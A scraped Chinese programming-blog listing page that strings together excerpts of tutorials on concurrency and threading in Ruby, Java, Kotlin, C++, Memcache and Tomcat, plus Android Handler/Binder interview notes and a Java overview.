</summary>private void InnerAutoRead(){while (this._isOpen && this._isClosing == false){try{if (this.myOpcHelper == null){this._isClosing = true;this.State = false;return;}lock (this){string[] keys = this.readResult.Keys.ToArray<string>();foreach (string key in keys){this.ReadTag(key);} }System.Threading.Thread.Sleep(this.innerReadRate);}catch (Exception ex){Console.WriteLine("Mesnac.Equip.OPC.OpcUa.OPCUA.Equip.InnerAutoRead Exception : " + ex.Message);} }this.innerReadThread = null;}endregionregion 析构方法~Equip(){this.Close();}endregion} } 代码下载 代码下载 本篇文章为转载内容。原文链接:https://blog.csdn.net/zlbdmm/article/details/96714776。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-10 18:43:00
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转载
Ruby
...uby中,我们可以用线程(Thread)来实现这一点。比如说啊,你正在倒腾一堆数据的时候,完全可以把它切成一小块一小块的,然后让每个线程去负责一块,这样一来,效率直接拉满,干活儿的速度蹭蹭往上涨! 但是,问题来了:并发编程虽然强大,但它并不是万能药。哎呀,经常会有这样的情况呢——自个儿辛辛苦苦改代码,还以为是在让程序变得更好,结果一不小心,又给它整出了新麻烦,真是“好心办坏事”的典型啊!接下来,我们来看几个具体的例子。 --- 3. 示例一 共享状态的混乱 场景描述: 假设你正在开发一个电商网站,需要统计用户的购买记录。你琢磨着干脆让多线程上阵,给这个任务提速,于是打算让每个线程各管一拨用户的活儿,分头行动效率肯定更高!看起来很合理对不对? 问题出现: 问题是,当你让多个线程共享同一个变量(比如一个全局计数器),事情就开始变得不可控了。Ruby 的线程可不是完全分开的,这就有点像几个人共用一个记事本,大家都能随便写东西上去。结果就是,这本子可能一会儿被这个写点,一会儿被那个划掉,最后你都不知道上面到底写了啥,数据就乱套了。 代码示例: ruby 错误的代码 counter = 0 threads = [] 5.times do |i| threads << Thread.new do 100_000.times { counter += 1 } end end threads.each(&:join) puts "Counter: {counter}" 分析: 这段代码看起来没什么问题,每个线程都只是简单地增加计数器。但实际情况却是,输出的结果经常不是期望的500_000,而是各种奇怪的数字。这就好比说,counter += 1 其实不是一步到位的简单操作,它得先“读一下当前的值”,再“给这个值加1”,最后再“把新的值存回去”。问题是,在这中间的每一个小动作,都可能被别的线程突然插队过来捣乱! 解决方案: 为了避免这种混乱,我们需要使用线程安全的操作,比如Mutex(互斥锁)。Mutex可以确保每次只有一个线程能够修改某个变量。 修正后的代码: ruby 正确的代码 require 'thread' counter = 0 mutex = Mutex.new threads = [] 5.times do |i| threads << Thread.new do 100_000.times do mutex.synchronize { counter += 1 } end end end threads.each(&:join) puts "Counter: {counter}" 总结: 这一段代码告诉我们,共享状态是一个雷区。如果你非要用共享变量,记得给它加上锁,不然后果不堪设想。 --- 4. 示例二 死锁的诅咒 场景描述: 有时候,我们会遇到更复杂的情况,比如两个线程互相等待对方释放资源。哎呀,这种情况就叫“死锁”,简直就像两只小猫抢一个玩具,谁都不肯让步,结果大家都卡在那里动弹不得,程序也就这样傻乎乎地停在原地,啥也干不了啦! 问题出现: 想象一下,你有两个线程,A线程需要获取锁X,B线程需要获取锁Y。想象一下,A和B两个人都想打开两把锁——A拿到了锁X,B拿到了锁Y。然后呢,A心想:“我得等B先把他的锁Y打开,我才能继续。”而B也在想:“等A先把她的锁X打开,我才能接着弄。”结果俩人就这么干等着,谁也不肯先放手,最后就成了“死锁”——就像两个人在拔河,谁都不松手,僵在那里啥也干不成。 代码示例: ruby 死锁的代码 lock_a = Mutex.new lock_b = Mutex.new thread_a = Thread.new do lock_a.synchronize do puts "Thread A acquired lock A" sleep(1) lock_b.synchronize do puts "Thread A acquired lock B" end end end thread_b = Thread.new do lock_b.synchronize do puts "Thread B acquired lock B" sleep(1) lock_a.synchronize do puts "Thread B acquired lock A" end end end thread_a.join thread_b.join 分析: 在这段代码中,两个线程都在尝试获取两个不同的锁,但由于它们的顺序不同,最终导致了死锁。运行这段代码时,你会发现程序卡住了,没有任何输出。 解决方案: 为了避免死锁,我们需要遵循“总是按照相同的顺序获取锁”的原则。比如,在上面的例子中,我们可以强制让所有线程都先获取锁A,再获取锁B。 修正后的代码: ruby 避免死锁的代码 lock_a = Mutex.new lock_b = Mutex.new thread_a = Thread.new do [lock_a, lock_b].each do |lock| lock.synchronize do puts "Thread A acquired lock {lock.object_id}" end end end thread_b = Thread.new do [lock_a, lock_b].each do |lock| lock.synchronize do puts "Thread B acquired lock {lock.object_id}" end end end thread_a.join thread_b.join 总结: 死锁就像一只隐形的手,随时可能掐住你的喉咙。记住,保持一致的锁顺序是关键! --- 5. 示例三 不恰当的线程池 场景描述: 线程池是一种管理线程的方式,它可以复用线程,减少频繁创建和销毁线程的开销。但在实际使用中,很多人会因为配置不当而导致性能下降甚至崩溃。 问题出现: 假设你创建了一个线程池,但线程池的大小设置得不合理。哎呀,这就好比做饭时锅不够大,菜都堆在那儿煮不熟,菜要是放太多呢,锅又会冒烟、潽得到处都是,最后饭也没做好。线程池也一样,太小了任务堆成山,程序半天没反应;太大了吧,电脑资源直接被榨干,啥事也干不成,还得收拾烂摊子! 代码示例: ruby 线程池的错误用法 require 'thread' pool = Concurrent::FixedThreadPool.new(2) 20.times do |i| pool.post do sleep(1) puts "Task {i} completed" end end pool.shutdown pool.wait_for_termination 分析: 在这个例子中,线程池的大小被设置为2,但有20个任务需要执行。哎呀,这就好比你请了个帮手,但他一次只能干两件事,其他事儿就得排队等着,得等前面那两件事儿干完了,才能轮到下一件呢!这种情况下,整个程序的执行时间会显著延长。 解决方案: 为了优化线程池的性能,我们需要根据系统的负载情况动态调整线程池的大小。可以使用Concurrent::CachedThreadPool,它会根据当前的任务数量自动调整线程的数量。 修正后的代码: ruby 使用缓存线程池 require 'concurrent' pool = Concurrent::CachedThreadPool.new 20.times do |i| pool.post do sleep(1) puts "Task {i} completed" end end sleep(10) 给线程池足够的时间完成任务 pool.shutdown pool.wait_for_termination 总结: 线程池就像一把双刃剑,用得好可以提升效率,用不好则会成为负担。记住,线程池的大小要根据实际情况灵活调整。 --- 6. 示例四 忽略异常的代价 场景描述: 并发编程的一个常见问题是,线程中的异常不容易被察觉。如果你没有妥善处理这些异常,程序可能会因为一个小错误而崩溃。 问题出现: 假设你有一个线程在执行某个操作时抛出了异常,但你没有捕获它,那么整个线程池可能会因此停止工作。 代码示例: ruby 忽略异常的代码 threads = [] 5.times do |i| threads << Thread.new do raise "Error in thread {i}" if i == 2 puts "Thread {i} completed" end end threads.each(&:join) 分析: 在这个例子中,当i == 2时,线程会抛出一个异常。哎呀糟糕!因为我们没抓住这个异常,程序直接就挂掉了,别的线程啥的也别想再跑了。 解决方案: 为了防止这种情况发生,我们应该在每个线程中添加异常捕获机制。比如,可以用begin-rescue-end结构来捕获异常并进行处理。 修正后的代码: ruby 捕获异常的代码 threads = [] 5.times do |i| threads << Thread.new do begin raise "Error in thread {i}" if i == 2 puts "Thread {i} completed" rescue => e puts "Thread {i} encountered an error: {e.message}" end end end threads.each(&:join) 总结: 异常就像隐藏在暗处的敌人,稍不注意就会让你措手不及。学会捕获和处理异常,是成为一个优秀的并发编程者的关键。 --- 7. 结语 好了,今天的分享就到这里啦!并发编程确实是一项强大的技能,但也需要谨慎对待。大家看看今天这个例子,是不是觉得有点隐患啊?希望能引起大家的注意,也学着怎么避开这些坑,别踩雷了! 最后,我想说的是,编程是一门艺术,也是一场冒险。每次遇到新挑战,我都觉得像打开一个神秘的盲盒,既兴奋又紧张。不过呢,光有好奇心还不够,还得有点儿耐心,就像种花一样,得一点点浇水施肥,不能急着看结果。相信只要我们不断学习、不断反思,就一定能写出更加优雅、高效的代码! 祝大家编码愉快!
2025-04-25 16:14:17
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凌波微步
Tomcat
...。 2.2 线程阻塞 线程阻塞是另一个常见的问题。当线程苦苦等待数据库连接或者网络请求这些资源时,整个系统就会变得磨磨蹭蹭的,响应速度明显下降。 示例代码: java public class ThreadBlockingExample { public void blockThread() { try { Thread.sleep(5000); // 模拟5秒的阻塞 } catch (InterruptedException e) { e.printStackTrace(); } } } 这段代码中的Thread.sleep()方法会导致当前线程阻塞5秒钟,如果这种阻塞频繁发生,就会严重影响系统性能。 2.3 数据库查询效率低下 数据库查询效率低下也是常见的性能瓶颈之一。例如,执行复杂的SQL查询或未优化的索引可能导致查询速度变慢。 示例代码: sql SELECT FROM users WHERE age > 20; -- 这条查询语句可能会导致全表扫描 这条SQL查询语句没有使用索引,会导致全表扫描,进而降低查询效率。 3. 解决方案 3.1 优化内存管理 要解决内存泄漏问题,我们可以采用以下几种方法: - 定期重启Tomcat:虽然不太优雅,但确实是一种简单有效的方法。 - 使用Profiler工具:如VisualVM、JProfiler等工具可以帮助我们定位内存泄漏的位置。 - 优化代码逻辑:确保及时释放不再使用的对象。 示例代码: java public class OptimizedMemoryExample { private static List list = new ArrayList<>(); public void optimizeMemoryUsage() { for (int i = 0; i < 1024 1024; i++) { byte[] b = new byte[1024]; list.add(b); } list.clear(); // 清空列表,释放内存 } } 这段代码在创建完数组后立即清空列表,释放了内存,避免了内存泄漏。 3.2 减少线程阻塞 减少线程阻塞的方法包括: - 异步处理:将耗时操作放在后台线程中执行。 - 设置超时时间:为网络请求、数据库查询等操作设置合理的超时时间。 示例代码: java public class AsyncProcessingExample { public void processAsync() throws InterruptedException { Thread thread = new Thread(() -> { try { Thread.sleep(5000); // 模拟耗时操作 System.out.println("Async task completed"); } catch (InterruptedException e) { e.printStackTrace(); } }); thread.start(); // 主线程继续执行其他任务 } } 这段代码通过创建一个新的线程来执行耗时操作,主线程可以继续执行其他任务,从而减少了线程阻塞。 3.3 优化数据库查询 优化数据库查询的方法包括: - 使用索引:确保经常使用的字段上有索引。 - 优化SQL语句:避免使用SELECT ,只选择需要的列。 示例代码: sql CREATE INDEX idx_users_age ON users(age); -- 创建索引 SELECT id, name FROM users WHERE age > 20; -- 使用索引查询 这条SQL语句使用了索引,并且只选择了需要的列,从而提高了查询效率。 4. 结论 总之,解决Tomcat中的性能瓶颈需要从多个角度入手。内存泄漏、线程阻塞和数据库查询效率低下都是常见的问题。要想让系统跑得飞快,咱们就得动动手,好好捯饬一下代码。比如理顺逻辑,用上异步操作,再把那些SQL语句打磨得漂漂亮亮的。这样子一来,系统性能蹭蹭上涨,用起来也更顺畅了。希望这篇文章对你有所帮助,如果你还有其他好的解决方案,欢迎留言分享! 加油,我们一起让Tomcat跑得更快更稳!
2025-01-07 16:14:31
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草原牧歌
c++
在《异常安全的设计:通过资源管理确保程序完整性》一文中,我们深入探讨了如何利用C++的特性,特别是资源管理机制,构建异常安全的程序设计。随着软件开发的日益复杂化,资源管理成为了确保程序稳定性和安全性的关键环节。然而,在实际应用中,资源管理并非总是那么简单,尤其是在多线程环境、网络编程或大型分布式系统中。接下来,我们将深入分析资源管理在现代软件开发中的挑战与应对策略。 面临的挑战 1. 并发与线程安全:在多线程环境中,资源管理变得复杂。共享资源的访问需要进行精细控制,以防止死锁、竞争条件和数据不一致等问题。例如,使用互斥锁(mutex)、读写锁(read-write locks)或原子操作等技术来保证线程安全。 2. 跨平台兼容性:不同操作系统和硬件平台对资源管理的支持程度不同。确保资源管理代码在各种环境中都能正确运行,需要考虑平台差异和标准一致性。 3. 性能优化:资源管理操作,如资源获取和释放,可能会对程序性能产生影响。在追求资源管理的同时,需要平衡性能需求,避免不必要的开销。 4. 资源泄露与内存管理:在动态分配资源的情况下,确保资源在不再需要时被正确释放,是避免内存泄漏和资源泄露的关键。智能指针虽然有效,但在某些场景下仍需谨慎使用,特别是在与第三方库交互时。 应对策略 1. 采用现代C++特性:利用C++11及之后版本的特性,如范围基类(range-based for loops)、智能指针(std::unique_ptr, std::shared_ptr)和RAII原则,简化资源管理过程,提高代码可读性和安全性。 2. 使用线程安全库:选择支持线程安全的库,如Boost.Thread或Intel TBB(Threading Building Blocks),可以简化多线程编程,减少资源管理相关的错误。 3. 深入理解并使用现代内存管理技术:掌握C++的智能指针、RAII、RAII原则和现代内存管理概念,如RAII(Resource Acquisition Is Initialization),能够有效地管理资源,减少内存泄漏的风险。 4. 性能优化与测试:在实现资源管理策略时,结合性能分析工具(如Valgrind、gperftools)进行性能评估,确保资源管理操作不会对程序性能产生负面影响。同时,进行充分的单元测试和压力测试,验证资源管理的正确性和鲁棒性。 5. 持续学习与适应新技术:软件开发领域不断演进,新技术和最佳实践层出不穷。持续关注C++和软件工程领域的最新发展,学习新的资源管理工具和技术,如现代容器类库(如std::optional, std::variant)和并发库,能够帮助开发者更好地应对资源管理的挑战。 通过上述策略,开发者可以更有效地管理资源,确保程序在各种复杂场景下的稳定性和安全性,同时优化性能,满足现代软件开发的需求。
2024-10-05 16:01:00
48
春暖花开
Java
...(Java语言)中,线程是一个单独的运行流。线程的启动和执行需要实现可运行接口或派生线程类。 // 实现可运行接口 class MyRunnable implements Runnable { public void run() { // 执行线程的代码 } } // 启动线程 Thread thread = new Thread(new MyRunnable()); thread.start(); 其中,线程的执行代码需要在run()函数中实现。通过实现可运行接口,创建一个线程对象,并调用start()函数来启动线程。 // 派生线程类 class MyThread extends Thread { public void run() { // 执行线程的代码 } } // 启动线程 MyThread thread = new MyThread(); thread.start(); 派生线程类来实现线程,需要重写run()函数,并在函数内部实现线程的执行代码。创建一个线程对象,并调用start()函数来启动线程。 在启动多个线程时,需要注意线程的调度和同步问题,避免出现资源竞争的现象。
2024-04-10 16:02:45
375
码农
Kotlin
...,我们常常被其简洁、安全和强大的特性所吸引。嘿,你知道吗?在咱们愉快地享受编程大冒险的过程中,难免会碰上些让人挠头的小插曲。这不,今天要说的就是其中一个让人有点摸不着头脑的问题——构建不同版本之间共享资源时,那些神出鬼没的混淆错误,是不是听起来就挺让人头疼的?这种问题在多线程环境或者数据结构设计这块儿可以说是时常冒个头,如果不妥善处理好它,那可是会大大影响到程序的稳定性和性能表现,甚至可能会让程序“闹脾气”、“拖后腿”的呢。让我们一起深入理解这个问题,并通过实例代码来揭示解决方案。 2. 变体间的资源共享与问题描述 在Kotlin中,我们可以使用枚举类或者 sealed class 创建一组变体,这些变体可能共享某些资源。例如: kotlin sealed class Resource { object SharedData : Resource() data class UniqueData(val value: String) : Resource() // 假设SharedData包含一个需要同步访问的计数器 val counter = AtomicInteger(0) fun incrementCounter() { counter.incrementAndGet() } } 在这个例子中,“SharedData”变体共享了一个“counter”资源。如果好几个线程同时跑过来,都想去改这个计数器的数值,那就可能引发一场“比赛”,我们称之为竞态条件。这样一来,计数器的结果就会乱成一团糟,就像好几只手同时在黑板上写数字,最后谁也不知道正确的答案是多少了。 3. 混淆错误实例分析 想象一下这样的场景,两个线程A和B同时操作Resource.SharedData: kotlin fun main() { val sharedResource = Resource.SharedData launch { // 这里假设launch是启动新线程的方法 for (i in 1..1000) { sharedResource.incrementCounter() } } launch { for (i in 1..1000) { sharedResource.incrementCounter() } } Thread.sleep(1000) // 等待所有线程完成操作 println("Final count: ${sharedResource.counter.get()}") // 这里的结果很可能不是2000 } 运行这段代码后,你可能会发现最终计数器的值并不是预期的2000。这就是典型的因并发访问共享资源导致的混淆错误。 4. 解决方案与实践 解决这类问题的关键在于引入适当的同步机制。在Kotlin中,我们可以使用synchronized关键字或者ReentrantLock等工具来保证资源的线程安全性。 下面是一个修复后的示例: kotlin sealed class Resource { object SharedData : Resource() { private val lock = Any() // 使用一个对象作为锁 fun incrementCounter() { synchronized(lock) { counter.incrementAndGet() } } } // ... } 通过synchronized关键字,我们确保了在同一时间只有一个线程可以访问和修改counter。这样就能避免上述的混淆错误。 5. 结语 在使用Kotlin进行开发时,尤其是在设计包含共享资源的变体时,我们必须时刻警惕潜在的并发问题。深入掌握并发控制这套“武林秘籍”,并且活学活用像synchronized这样的“独门兵器”,咱们就能妥妥地避免那些因为资源共享而冒出来的混淆错误,进而编写出更加结实耐造、稳如磐石的程序来。在编程道路上,每一次解决问题的过程都是一次成长的机会,让我们在实践中不断学习,不断进步吧!
2023-05-31 22:02:26
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诗和远方
MemCache
...存对象缓存系统。在多线程环境下, Memcache 的锁机制冲突是一个常见的问题。这篇东西,咱们要从理论一路捯饬到实践,把Memcache在多线程环境下的锁机制冲突问题,掰开了、揉碎了,深入细致地给你讲个明明白白,同时咱还会琢磨出一套解决这问题的方案来。 二、什么是锁? 在并发编程中,锁是一种同步机制,用于控制对共享资源的访问。当一个线程获得了一个锁时,其他试图获取该锁的线程必须等待。这种机制就像个交通警察,它能确保多个线程不会同时对一份数据动手脚,这样一来,就相当于拦住了可能导致数据混乱的各种“撞车”事件,让数据始终保持一致性和准确性。 三、Memcache 的锁机制 Memcache 使用了一种称为“互斥锁(mutex)”的锁机制。当一个线程需要访问某个键对应的值时,它首先会尝试获取这个键的锁。如果锁已经被其他线程占用,那么当前线程就需要等待锁被释放。一旦锁被释放,当前线程就可以安全地读取或修改这个键对应的值。 四、多线程环境下锁机制冲突的原因 在多线程环境中,由于锁的粒度是键级别的,而不同的线程可能会操作相同的键,这就可能导致锁的竞争和冲突。具体来说,以下两种情况可能会导致锁的冲突: 1. 锁竞争 当多个线程同时尝试获取同一个键的锁时,就会发生锁竞争。 2. 锁膨胀 当一个线程已经获取了某个键的锁,但又试图获取另一个键的锁时,如果这两个键都在同一个数据库行中,那么就可能发生锁膨胀。 五、解决锁机制冲突的方法 为了防止锁的冲突,我们可以采取以下几种方法: 1. 分布式锁 使用分布式锁可以有效解决锁的竞争问题。分布式锁啊,就好比是多个小哥一起共用的一把钥匙,当其中一个线程小弟想要拿到这把钥匙的时候,它会先给所有节点大哥们发个消息:“喂喂喂,我要拿钥匙啦!”然后呢,就看哪个节点大哥反应最快,最先回应它,那这个线程小弟就从这位大哥手里接过钥匙,成功获取到锁啦。 2. 延迟锁 延迟锁是一种特殊的锁,它可以保证在一段时间内只有一个线程可以访问某个资源。当一个线程想去获取锁的时候,假如这个锁已经被其他线程给霸占了,那么它不会硬碰硬,而是会选择先歇一会儿,过段时间再尝试去抢夺这把锁。 3. 减少锁的数量 减少锁的数量可以有效地减少锁的竞争。比如,我们能够把一个看着头疼的复杂操作,拆分成几个轻轻松松就能理解的小步骤,每一步只专注处理一点点数据,就像拼图一样简单明了。 六、代码示例 以下是一个使用 Memcache 的代码示例,展示了如何使用互斥锁来保护共享资源: python import threading from memcache import Client 创建一个 Memcache 客户端 mc = Client(['localhost:11211']) 创建一个锁 lock = threading.Lock() def get(key): 获取锁 lock.acquire() try: 从 Memcache 中获取数据 value = mc.get(key) if value is not None: return value finally: 释放锁 lock.release() def set(key, value): 获取锁 lock.acquire() try: 将数据存储到 Memcache 中 mc.set(key, value) finally: 释放锁 lock.release() 以上代码中的 get 和 set 方法都使用了一个锁来保护 Memcache 中的数据。这样,即使在多线程环境下,也可以保证数据的一致性。 七、总结 在多线程环境下,Memcache 的锁机制冲突是一个常见的问题。了解了锁的真正含义和它的工作原理后,我们就能找到对症下药的办法,保证咱们的程序既不出错,又稳如泰山。希望这篇文章对你有所帮助。
2024-01-06 22:54:25
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岁月如歌-t
c++
... 第五部分:调试多线程程序 对于 C++ 中的多线程应用,调试变得更加复杂。GDB 提供了 thread 命令来管理线程: cpp include include void thread_function() { std::cout << "Thread executing" << std::endl; } int main() { std::thread t(thread_function); t.join(); return 0; } 在调试时,你可以使用 thread 命令查看当前活跃的线程,或者使用 bt(backtrace)命令获取调用堆栈信息。 第六部分:调试异常处理 C++ 异常处理是调试的重点之一。通过设置断点在 try 块的开始,你可以检查异常是否被正确捕获,并分析异常信息。 cpp include include void throw_exception() { throw std::runtime_error("An error occurred"); } int main() { try { throw_exception(); } catch (const std::exception& e) { std::cerr << "Caught exception: " << e.what() << std::endl; } return 0; } 结语 调试是编程旅程中不可或缺的部分,它不仅帮助我们发现并解决问题,还促进了对代码更深入的理解。随着经验的积累,你将能够更高效地使用调试器,解决更复杂的程序问题。嘿,兄弟!记住啊,每次你去调试程序的时候,那都是你提升技能、长见识的绝佳时机。别怕犯错,知道为啥吗?因为每次你摔个大跟头,其实就是在为成功铺路呢!所以啊,大胆地去试错吧,失败了就当是交学费了,下回就能做得更好!加油,程序员!
2024-10-06 15:36:27
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雪域高原
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...) 为什么不会阻塞主线程? 因为主线程的 Looper 是在 ActivityThread 里面准备出来,创建出来的,那么其实我们 Android 程序也就是 Java 程序,你启动它,进入 main 方法,执行完所有的方法,也就会退出了 我们写的代码就是通过 Handler 驱动起来的,我们 Activity 的 onCreate、onResume、onStop 等等这些生命周期方法,包括我们的 UI 绘制的信号,这些UI绘制的事件都是通过 Handler Looper 循环内部发起的,来调用回调我们的各个 Activity,各个 Fragment 等等这样的一些组件里面的各个生命周期方法,我们的代码就是在循环里面执行的,所以不会阻塞 简述 Handler 的实现原理 Android 应用是通过消息驱动运行的,在 Android 中一切皆消息,包括触摸事件,视图的绘制、显示和刷新等等都是消息 Handler 是消息机制的上层接口,平时开发中我们只会接触到 Handler 和 Message,内部还有 MessageQueue 和 Looper 两大助手共同实现消息循环系统。 延迟消息是怎么实现的? 无论是即时消息还是延迟消息,都是计算出具体的时间,然后作为消息的 when 字段进程赋值 在 MessageQueue 中找到合适的位置(安排 when 小到大排列),并将消息插入到 MessageQueue 中;这样, MessageQueue 就是一个按照消息时间排列的一个链表结构 为什么 Handler 会报内存泄漏? 因为是内部类持有外部类的对象, sendMessage 的时候会调用到 Handler 的 enqueueMessage 方法,msg.target = this; Message 会持有 handler,而 handler 持有调用 handler 的对象,所以 gc 不能回收 Binder 篇 Binder 的定向制导,如何找到目标 Binder,唤起进程或者线程呢? Binder 实体服务其实有两种: 一是通过 addService 注册到 ServiceManager 中的服务,比如 ActivityManagerService、PackageManagerService、PowerManagerService 等,一般都是系统服务; 还有一种是通过 bindService 拉起的一些服务,一般是开发者自己实现的服务 这里先看通过 addService 添加的被 ServiceManager 所管理的服务 ServiceManager 是比较特殊的服务,所有应用都能直接使用,因为 ServiceManager 对于 Client 端来说 Handle 句柄是固定的,都是 0,所以 ServiceManager 服务并不需要查询,可以直接使用 Binder 为什么会有两棵 binder_ref 红黑树? Binder_proc 中存在两棵 binder_ref 红黑树,其实两棵红黑树中的节点是复用的,只是查询方式不同,一个通过 Handle 句柄,一个通过 node 节点查找 refs_by_node 红黑树主要是为了 Binder驱动往用户空间写数据所使用的,而 refs_by_desc 是用户空间向 Binder 驱动写数据使用的,只是方向问题 比如在服务 addService 的时候,binder 驱动会在在 ServiceManager 进程的 binder_proc 中查找 binder_ref 结构体 Binder 是如何做到一次拷贝的 用户空间的虚拟内存地址是映射到物理内存中的 对虚拟内存的读写实际上是对物理内存的读写,这个过程就是内存映射 这个内存映射过程是通过系统调用 mmap() 来实现的 Binder借助了内存映射的方法,在内核空间和接收方用户空间的数据缓存区之间做了一层内存映射,就相当于直接拷贝到了接收方用户空间的数据缓存区,从而减少了一次数据拷贝 Binder机制是如何跨进程的 在内核空间创建一块接收缓存区, 实现地址映射:将内核缓存区、接收进程用户空间映射到同一接收缓存区 发送进程通过系统调用(copy_from_user)将数据发送到内核缓存区;由于内核缓存区和接收进程用户空间存在映射关系,故相当于也发送了接收进程的用户空间,实现了跨进程通信 就举例这么多了,面试题也不是几个就能全部覆盖的,毕竟面试官不是吃素的,他会换着花样问你;有想跳槽拿高薪的 Android 开发的朋友,我这里分享一份 Handler、Binder 精选面试 PDF 文档;私信发送 “面试” 直达获取;想拿高薪的人很多,就看你肯不肯努力了 面试题 PDF 文档内容展示: Handler 机制之 Thread Handler 机制之 ThreadLocal Handler 机制之 SystemClock 类 Handler 机制之 Looper 与 Handler 简介 Android 跨进程通信 IPC 之 Binder 之 Framewor k层 C++ 篇 Android 跨进程通信 IPC 之 Binder 之 Framework 层 Java 篇 Android 跨进程通信 IPC 之 Binder 的补充 Android 跨进程通信 IPC 之 Binder 总结 小伙伴们如果有需要以上这些资料:私信发送 “面试” 直达获取,承诺100%免费! 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_62167422/article/details/127129133。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-15 10:35:50
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...统上运行。5、支持多线程,并提供多线程之间的同步机制;6、分布式;7、健壮性;8、高性能;9、安全性。 什么是Java语言 简单地说,Java 是由 Sun Microsystems 公司于 1995 年推出的一门面向对象程序设计语言。2010 年 Oracle 公司收购 Sun Microsystems,之后由 Oracle 公司负责 Java 的维护和版本升级。 其实,Java 还是一个平台。Java 平台由 Java 虚拟机(Java Virtual Machine,JVM)和 Java 应用编程接口(Application Programming Interface,API)构成。Java 应用编程接口为此提供了一个独立于操作系统的标准接口,可分为基本部分和扩展部分。在硬件或操作系统平台上安装一个 Java 平台之后,Java 应用程序就可运行。 Java 平台已经嵌入了几乎所有的操作系统。这样 Java 程序只编译一次,就可以在各种系统中运行。Java 应用编程接口已经从 1.1x 版本发展到 1.2 版本。 Java语言的特点 Java 语言的风格很像 C 语言和 C++ 语言,是一种纯粹的面向对象语言,它继承了 C++ 语言面向对象的技术核心,但是拋弃了 C++ 的一些缺点,比如说容易引起错误的指针以及多继承等,同时也增加了垃圾回收机制,释放掉不被使用的内存空间,解决了管理内存空间的烦恼。 Java 语言是一种分布式的面向对象语言,具有面向对象、平台无关性、简单性、解释执行、多线程、安全性等很多特点,下面针对这些特点进行逐一介绍。 1. 面向对象 Java 是一种面向对象的语言,它对对象中的类、对象、继承、封装、多态、接口、包等均有很好的支持。为了简单起见,Java 只支持类之间的单继承,但是可以使用接口来实现多继承。使用 Java 语言开发程序,需要采用面向对象的思想设计程序和编写代码。 2. 平台无关性 平台无关性的具体表现在于,Java 是“一次编写,到处运行(Write Once,Run any Where)”的语言,因此采用 Java 语言编写的程序具有很好的可移植性,而保证这一点的正是 Java 的虚拟机机制。在引入虚拟机之后,Java 语言在不同的平台上运行不需要重新编译。 Java 语言使用 Java 虚拟机机制屏蔽了具体平台的相关信息,使得 Java 语言编译的程序只需生成虚拟机上的目标代码,就可以在多种平台上不加修改地运行。 3. 简单性 Java 语言的语法与 C 语言和 C++ 语言很相近,使得很多程序员学起来很容易。对 Java 来说,它舍弃了很多 C++ 中难以理解的特性,如操作符的重载和多继承等,而且 Java 语言不使用指针,加入了垃圾回收机制,解决了程序员需要管理内存的问题,使编程变得更加简单。 4. 解释执行 Java 程序在 Java 平台运行时会被编译成字节码文件,然后可以在有 Java 环境的操作系统上运行。在运行文件时,Java 的解释器对这些字节码进行解释执行,执行过程中需要加入的类在连接阶段被载入到运行环境中。 5. 多线程 Java 语言是多线程的,这也是 Java 语言的一大特性,它必须由 Thread 类和它的子类来创建。Java 支持多个线程同时执行,并提供多线程之间的同步机制。任何一个线程都有自己的 run() 方法,要执行的方法就写在 run() 方法体内。 6. 分布式 Java 语言支持 Internet 应用的开发,在 Java 的基本应用编程接口中就有一个网络应用编程接口,它提供了网络应用编程的类库,包括 URL、URLConnection、Socket 等。Java 的 RIM 机制也是开发分布式应用的重要手段。 7. 健壮性 Java 的强类型机制、异常处理、垃圾回收机制等都是 Java 健壮性的重要保证。对指针的丢弃是 Java 的一大进步。另外,Java 的异常机制也是健壮性的一大体现。 8. 高性能 Java 的高性能主要是相对其他高级脚本语言来说的,随着 JIT(Just in Time)的发展,Java 的运行速度也越来越高。 9. 安全性 Java 通常被用在网络环境中,为此,Java 提供了一个安全机制以防止恶意代码的攻击。除了 Java 语言具有许多的安全特性以外,Java 还对通过网络下载的类增加一个安全防范机制,分配不同的名字空间以防替代本地的同名类,并包含安全管理机制。 Java 语言的众多特性使其在众多的编程语言中占有较大的市场份额,Java 语言对对象的支持和强大的 API 使得编程工作变得更加容易和快捷,大大降低了程序的开发成本。Java 的“一次编写,到处执行”正是它吸引众多商家和编程人员的一大优势。 扩展知识: 按应用范围,Java 可分为 3 个体系,即 Java SE、Java EE 和 Java ME。下面简单介绍这 3 个体系。 1. Java SE Java SE(Java Platform Standard Edition,Java 平台标准版)以前称为 J2SE,它允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web 服务开发的类,并为 Java EE 提供基础,如 Java 语言基础、JDBC 操作、I/O 操作、网络通信以及多线程等技术。图 1 所示为 Java SE 的体系结构。 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_73892801/article/details/129181633。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-25 09:18:50
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.../垃圾回收try {Thread.sleep(500);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(m.get());//再分配一个数组,heap将装不下,这时候系统会垃圾回收,先回收一次,如果不够,会把软引用干掉byte[] b = new byte[1024102415];System.out.println(m.get());} }//软引用非常适合缓存使用 2、弱引用 public class M {@Overrideprotected void finalize() throws Throwable {System.out.println("finalize");} } 上图中,tl对象强引用指向ThreadLocal,map中key弱引用指向ThreadLocal,当tl=null时,强引用消失,此时弱引用也将自动被回收,但是此时key=null,value指向10M这个就永远访问不到,既内存泄露 下图中,18行到20行为解决内存泄露问题的,那就是通过remove()将它消除了 / 弱引用遭到gc就会回收/import java.lang.ref.WeakReference;public class T03_WeakReference {public static void main(String[] args) {WeakReference<M> m = new WeakReference<>(new M());System.out.println(m.get());System.gc();System.out.println(m.get());ThreadLocal<M> tl = new ThreadLocal<>();tl.set(new 